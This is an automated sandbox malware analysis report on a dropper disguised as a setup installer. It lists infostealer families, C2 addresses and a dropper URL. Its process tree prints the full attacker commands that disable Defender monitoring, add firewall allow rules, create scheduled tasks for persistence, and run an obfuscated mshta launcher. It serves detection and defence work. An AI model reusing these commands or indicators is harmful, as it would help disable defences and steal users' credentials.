Analysis
-
max time kernel
47s -
max time network
609s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
10-12-2021 21:46
General
-
Target
setup_x86_x64_install.exe
-
Size
15.1MB
-
MD5
58f4493f5f62fab28bae845c8c7be822
-
SHA1
9f2a236d5e9e5a9e161b31e45754d6e92c58d2f0
-
SHA256
8f2fe9050989fa67b5075ca8f19c993eac27095da963de63ccbb42e3dc212008
-
SHA512
810da7de74f9f3640a6e41e0505a2d9d731aaf42d342766bcb82df57d6e6dcf5a14ae6f1e37fa8d232d4381fbb54760bc9dc4c2458b07f9fc5ec0354074d7a62
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
Family
socelars
C2
http://www.yarchworkshop.com/
Extracted
Family
raccoon
Version
1.8.3-hotfix
Botnet
4da27d123a577c68e42716053343dd3f8da508a2
Attributes
-
url4cnc
http://91.219.236.27/borderxra
http://94.158.245.167/borderxra
http://185.163.204.216/borderxra
http://185.225.19.238/borderxra
http://185.163.204.218/borderxra
https://t.me/borderxra
rc4.plain
rc4.plain
Extracted
Family
redline
Botnet
03.12_BUILD_3
C2
45.9.20.221:15590
Signatures
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 7 IoCs
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
evasion 1 IoCs
evasion.
-
suricata: ET MALWARE Suspicious Download Setup_ exe
suricata: ET MALWARE Suspicious Download Setup_ exe
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
NirSoft WebBrowserPassView 2 IoCs
Password recovery tool for various web browsers
-
Nirsoft 2 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Downloads MZ/PE file
-
Executes dropped EXE 43 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 8 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Program Files directory 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 9 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 26 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 4 IoCs
-
Kills process with taskkill 12 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri218b0a2a71a9760.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri218b0a2a71a9760.exeFri218b0a2a71a9760.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4692 -s 15167⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21b7150aec9.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21b7150aec9.exeFri21b7150aec9.exe5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri2166d910ca1fca.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2166d910ca1fca.exeFri2166d910ca1fca.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2166d910ca1fca.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2166d910ca1fca.exe"6⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"7⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes8⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /306-3067⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F8⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f8⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll8⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21c5473d2e6db3c.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c5473d2e6db3c.exeFri21c5473d2e6db3c.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c5473d2e6db3c.exeC:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c5473d2e6db3c.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c5473d2e6db3c.exeC:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c5473d2e6db3c.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri211728156689.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri211728156689.exeFri211728156689.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\MYw6Jl_WUDgXh6yUmrByV9Us.exe"C:\Users\Admin\Pictures\Adobe Films\MYw6Jl_WUDgXh6yUmrByV9Us.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\8drOVRpH1Q0L9tvv41ctxsQp.exe"C:\Users\Admin\Pictures\Adobe Films\8drOVRpH1Q0L9tvv41ctxsQp.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\8drOVRpH1Q0L9tvv41ctxsQp.exe"C:\Users\Admin\Pictures\Adobe Films\8drOVRpH1Q0L9tvv41ctxsQp.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\QceFcrY6q2TP5y7kFBNcfoEY.exe"C:\Users\Admin\Pictures\Adobe Films\QceFcrY6q2TP5y7kFBNcfoEY.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\rGKlSj42xywt1z3W32Gs8hnS.exe"C:\Users\Admin\Pictures\Adobe Films\rGKlSj42xywt1z3W32Gs8hnS.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 6447⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 6847⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 6967⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\AqYWRrjmTfbuLEMGa6C57ukF.exe"C:\Users\Admin\Pictures\Adobe Films\AqYWRrjmTfbuLEMGa6C57ukF.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\FUcF2IakOpvcqjmWrLQziGWI.exe"C:\Users\Admin\Pictures\Adobe Films\FUcF2IakOpvcqjmWrLQziGWI.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im FUcF2IakOpvcqjmWrLQziGWI.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\FUcF2IakOpvcqjmWrLQziGWI.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im FUcF2IakOpvcqjmWrLQziGWI.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\XOyf2YquNfCEL5WaWtB7dDzc.exe"C:\Users\Admin\Pictures\Adobe Films\XOyf2YquNfCEL5WaWtB7dDzc.exe"6⤵
-
C:\Users\Admin\Documents\qJdkXeylkYMA8EesdFV7nDj0.exe"C:\Users\Admin\Documents\qJdkXeylkYMA8EesdFV7nDj0.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\AFiuty8kBzjj4Y3GeouRn53D.exe"C:\Users\Admin\Pictures\Adobe Films\AFiuty8kBzjj4Y3GeouRn53D.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\m5ZH4b3aM9mpIki87CNKdBX9.exe"C:\Users\Admin\Pictures\Adobe Films\m5ZH4b3aM9mpIki87CNKdBX9.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\ggovQWBapWTtt_k_h4wyvvAd.exe"C:\Users\Admin\Pictures\Adobe Films\ggovQWBapWTtt_k_h4wyvvAd.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\ggovQWBapWTtt_k_h4wyvvAd.exe"C:\Users\Admin\Pictures\Adobe Films\ggovQWBapWTtt_k_h4wyvvAd.exe" -u9⤵
-
C:\Users\Admin\Pictures\Adobe Films\_Y2kA7F2bF59XmjB4dxBEgYE.exe"C:\Users\Admin\Pictures\Adobe Films\_Y2kA7F2bF59XmjB4dxBEgYE.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\2dYervRCZLjM8F6iX6ZRbcmi.exe"C:\Users\Admin\Pictures\Adobe Films\2dYervRCZLjM8F6iX6ZRbcmi.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-TVRB4.tmp\2dYervRCZLjM8F6iX6ZRbcmi.tmp"C:\Users\Admin\AppData\Local\Temp\is-TVRB4.tmp\2dYervRCZLjM8F6iX6ZRbcmi.tmp" /SL5="$5031C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\2dYervRCZLjM8F6iX6ZRbcmi.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\053g6BS87y9MILylWCJgk221.exe"C:\Users\Admin\Pictures\Adobe Films\053g6BS87y9MILylWCJgk221.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OF99U.tmp\053g6BS87y9MILylWCJgk221.tmp"C:\Users\Admin\AppData\Local\Temp\is-OF99U.tmp\053g6BS87y9MILylWCJgk221.tmp" /SL5="$40338,506127,422400,C:\Users\Admin\Pictures\Adobe Films\053g6BS87y9MILylWCJgk221.exe"9⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\ZIcIaBYCDL_nIVes3Cyo9xf3.exe"C:\Users\Admin\Pictures\Adobe Films\ZIcIaBYCDL_nIVes3Cyo9xf3.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\asqqyUvLqCXip5NQMDyjKJGZ.exe"C:\Users\Admin\Pictures\Adobe Films\asqqyUvLqCXip5NQMDyjKJGZ.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\ENCiiv0hSl0bGb42yDmAUqcR.exe"C:\Users\Admin\Pictures\Adobe Films\ENCiiv0hSl0bGb42yDmAUqcR.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\ENCiiv0hSl0bGb42yDmAUqcR.exe"C:\Users\Admin\Pictures\Adobe Films\ENCiiv0hSl0bGb42yDmAUqcR.exe"7⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"8⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes9⤵
-
C:\Users\Admin\Pictures\Adobe Films\_kcVi3nppw_DWYSE8OcAhhxt.exe"C:\Users\Admin\Pictures\Adobe Films\_kcVi3nppw_DWYSE8OcAhhxt.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\wsb9vYcfriBhGbcPtpEVPJbV.exe"C:\Users\Admin\Pictures\Adobe Films\wsb9vYcfriBhGbcPtpEVPJbV.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\yangliu.exe"C:\Users\Admin\AppData\Local\Temp\yangliu.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\yangliu.exe"C:\Users\Admin\AppData\Local\Temp\yangliu.exe" -u8⤵
-
C:\Users\Admin\AppData\Local\Temp\KrSoftware3r8f32.exe"C:\Users\Admin\AppData\Local\Temp\KrSoftware3r8f32.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe"C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Worldoffer.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe" & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Worldoffer.exe /f9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--XUwKgV"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1a8,0x1e8,0x7ffb6231dec0,0x7ffb6231ded0,0x7ffb6231dee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1548 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=1796 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=2104 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2492 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2540 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=3124 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3168 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=3320 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=1824 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=3324 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=1388 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,16433077793856480800,17688997618454909325,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4412_966407238" --mojo-platform-channel-handle=1820 /prefetch:810⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6192 -s 15168⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Users\Admin\AppData\Local\0cx9WauYfu7D0.exe"C:\Users\Admin\AppData\Local\0cx9WauYfu7D0.exe"9⤵
-
C:\Users\Admin\AppData\Local\2SkuMupLwoDaVy.exe"C:\Users\Admin\AppData\Local\2SkuMupLwoDaVy.exe"9⤵
-
C:\Users\Admin\AppData\Local\EGN6qTMO.exe"C:\Users\Admin\AppData\Local\EGN6qTMO.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\5883829.exe"C:\Users\Admin\AppData\Roaming\5883829.exe"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Roaming\5883829.exe"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if """" == """" for %b iN ( ""C:\Users\Admin\AppData\Roaming\5883829.exe"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Roaming\5883829.exe" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "" == "" for %b iN ( "C:\Users\Admin\AppData\Roaming\5883829.exe" ) do taskkill /IM "%~nXb" /F12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "5883829.exe" /F13⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\8364553.exe"C:\Users\Admin\AppData\Roaming\8364553.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\8364553.exe"C:\Users\Admin\AppData\Roaming\8364553.exe"11⤵
-
